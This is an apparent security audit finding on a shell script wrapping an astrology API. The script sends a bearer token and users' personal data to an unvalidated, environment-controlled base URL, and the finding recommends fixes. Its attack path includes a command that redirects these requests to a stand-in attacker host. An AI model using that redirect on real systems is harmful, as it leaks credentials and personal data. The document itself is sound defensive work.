T09 · Insecure Skill Coding Practices
- Location
scripts/astro-api.sh:16- Finding
Unvalidated API Base URL Can Expose Bearer Credentials and Personal Data
- Content
View full analysis
Vulnerability Details
File Location:
scripts/astro-api.sh, lines 16 and 37–49
Vulnerability Type: Unvalidated credential-bearing request destination
Risk Level: HighVulnerable Code
bash BASE_URL="${ASTROLOGY_API_URL:-https://api.astrology-api.io}"bash if [ "$METHOD" = "GET" ]; then curl -s -X GET "${BASE_URL}${ENDPOINT}" \ -H "Authorization: Bearer ${ASTROLOGY_API_KEY}" \ -H "Accept: application/json" elif [ "$METHOD" = "POST" ]; then if [ -z "$BODY" ]; then echo "Error: POST requests require a JSON body as the third argument." >&2 exit 1 fi curl -s -X POST "${BASE_URL}${ENDPOINT}" \ -H "Authorization: Bearer ${ASTROLOGY_API_KEY}" \ -H "Content-Type: application/json" \ -H "Accept: application/json" \ -d "$BODY"Technical Analysis
The script obtains the request destination from the environment-controlled
ASTROLOGY_API_URLvariable without validating its scheme, hostname, port, or authority. It then transmitsASTROLOGY_API_KEYin anAuthorizationheader to that destination.Consequently, an attacker who can influence the script's environment can redirect authenticated requests to an attacker-controlled server. The override also accepts plaintext HTTP, allowing the bearer token and request body to be intercepted by a network attacker.
POST bodies may contain names, dates and times of birth, geographic locations, personal questions, relationship information, or palm images. Therefore, destination manipulation can expose both the API credential and sensitive user-provided data.
Attack Path
- An attacker, compromised launcher, environment file, or parent process sets:
bash export ASTROLOGY_API_URL="http://attacker.example" - The user or agent invokes the documented wrapper with a valid
ASTROLOGY_API_KEY. - The script concatenates the attacker-controlled base URL with the requested endpoint.
curlsends the bearer credential in the `Authorizati ...[truncated 909 chars]
- An attacker, compromised launcher, environment file, or parent process sets:
- Remediation
View remediation
Remediation Suggestions
-
Remove the
ASTROLOGY_API_URLoverride if alternate API hosts are not a required feature:bash readonly BASE_URL="https://api.astrology-api.io" -
If an override is operationally necessary, parse and validate it before sending credentials. Require:
- The
httpsscheme. - The exact approved hostname.
- No embedded username or password.
- No unapproved port.
- No fragment or unexpected path component.
- Rejection by default when parsing or validation fails.
- The
-
Harden
curltransport behavior:bash curl --fail-with-body --show-error --silent \ --proto '=https' \ --proto-redir '=https' \ --max-redirs 0 \ ...Keep redirects disabled for authenticated requests unless there is a documented requirement. If redirects are enabled, validate every destination and ensure credentials cannot be forwarded to another origin.
-
Consider separating development or test credentials from production credentials if custom endpoints are needed. Require explicit opt-in for non-production operation and never send production bearer tokens to development hosts.
-
Avoid logging request headers or bodies, document the sensitivity of astrology input data, and rotate
ASTROLOGY_API_KEYimmediately if redirection or interception is suspected. -
Add automated tests confirming that HTTP URLs, unapproved domains, embedded credentials, alternate ports, malformed hosts, and redirect responses are rejected before any authenticated request is issued.
-